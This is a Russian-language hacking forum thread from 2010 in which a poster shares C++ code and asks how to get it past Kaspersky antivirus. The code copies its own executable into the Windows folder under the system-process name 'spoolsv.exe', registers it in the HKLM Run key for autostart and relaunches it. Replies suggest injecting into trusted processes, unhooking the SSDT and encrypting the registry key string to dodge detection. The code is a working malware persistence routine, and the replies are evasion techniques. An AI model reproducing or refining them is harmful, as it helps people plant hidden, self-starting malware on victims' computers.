PDA

Просмотр полной версии : Как спопировать файл С++ с обходом kAV


agrofyl2
22.02.2010, 13:09
Пытаюсь скопировать файлик в папку винды, прописать его в реестр и запустить


void OnStart() {
//Получаем путь к своей программе
wchar_t path[1025]=L"";
GetModuleFileNameW(NULL, path, 1024);

//Получаем путь для копирования
wchar_t copy2path[1025]=L"";
GetWindowsDirectoryW(copy2path, 1024);
wcscat(copy2path, L"\\spoolsv.exe");

//Сравниваем пути
if(wcsicmp(path, copy2path)==0) return;

//Либо 1) Еще не скопированы в систему
//2) Скопированы, но запущено вторично из др. источника

//Если не удалось скопироваться - значит уже скопированы/неудачно скопированы - выходим
if(!CopyFileW(path, copy2path, 1)) {
MessageBox(0, "Cant copy", "", 0);
exit(0);
}

//Если скопированы удачно - добавляемся в реестр
else {
HKEY key;//Add In Autorun
DWORD action;
if(ERROR_SUCCESS==RegCreateKeyEx(HKEY_LOCAL_MACHIN E, __T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, &action))
{
RegSetValueExW(key, L"spoolsv", 0, REG_SZ, (LPBYTE)copy2path, lstrlenW(copy2path)*2+1);
RegCloseKey(key);

//Добавлено удачно - запускаем программу, а сами выходим
char forexec[1025]="";
wcstombs(forexec, copy2path, 1024);

STARTUPINFO si; PROCESS_INFORMATION pi; GetStartupInfo(&si);

if(!CreateProcess(forexec, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi))
WinExec(forexec, 0);
exit(0);
}
exit(0);
}
}


Но касперский пишет: "поведение, похожее на Trojan Generic"
Файл скопирован и добавлен в реестр(непонятно почему), но повторно не запускается(до CreateProcess выполнение не доходит)
Методом исключения было установлено, что антивирус реагирует на строчку CopyFileW

В принципе пишу программу-шутку и универсальность не нужна. Скопировать файл через коммандную строку чтоли?

Hiro Protagonist
22.02.2010, 17:11
плять, проактивка же работает. Ищи возможность внедрения в доверенные процессы и уже из них копируй.

slesh
22.02.2010, 20:03
Тут побольшей части ругается не на копирование, а на прописание в реестре в секции автозагрузки. И от этого тяжко уйти, если не знаешь приват методов )

crypt0n
22.02.2010, 21:11
ssdt unhook ( NtCreateFile) ?

0verbreaK
23.02.2010, 00:49
>>ssdt unhook ( NtCreateFile) ?

Какбэ помягче выразится - чушь предлагаете!

desTiny
23.02.2010, 02:09
Тут побольшей части ругается не на копирование, а на прописание в реестре в секции автозагрузки. И от этого тяжко уйти, если не знаешь приват методов )
вот хитронод ругается на копирование в виндопапку.
Притом он реально различает кодесы, отличающиеся в

ExpandEnvironmentStrings("%windir%",b, 255); // длины хватает, опасный код детектед!!

и

ExpandEnvironmentStrings("%windir%",b, 1); // длины не хватает, код безопасен
, и смешно подвисает на бесконечных циклах :)

Приват-не приват - достаточно очевидные способы есть, но вот почему-то рассказывать их не хочется.

Fliplab
24.02.2010, 02:17
Поробуй шифровать ключ реестра и где надо расшифровывай.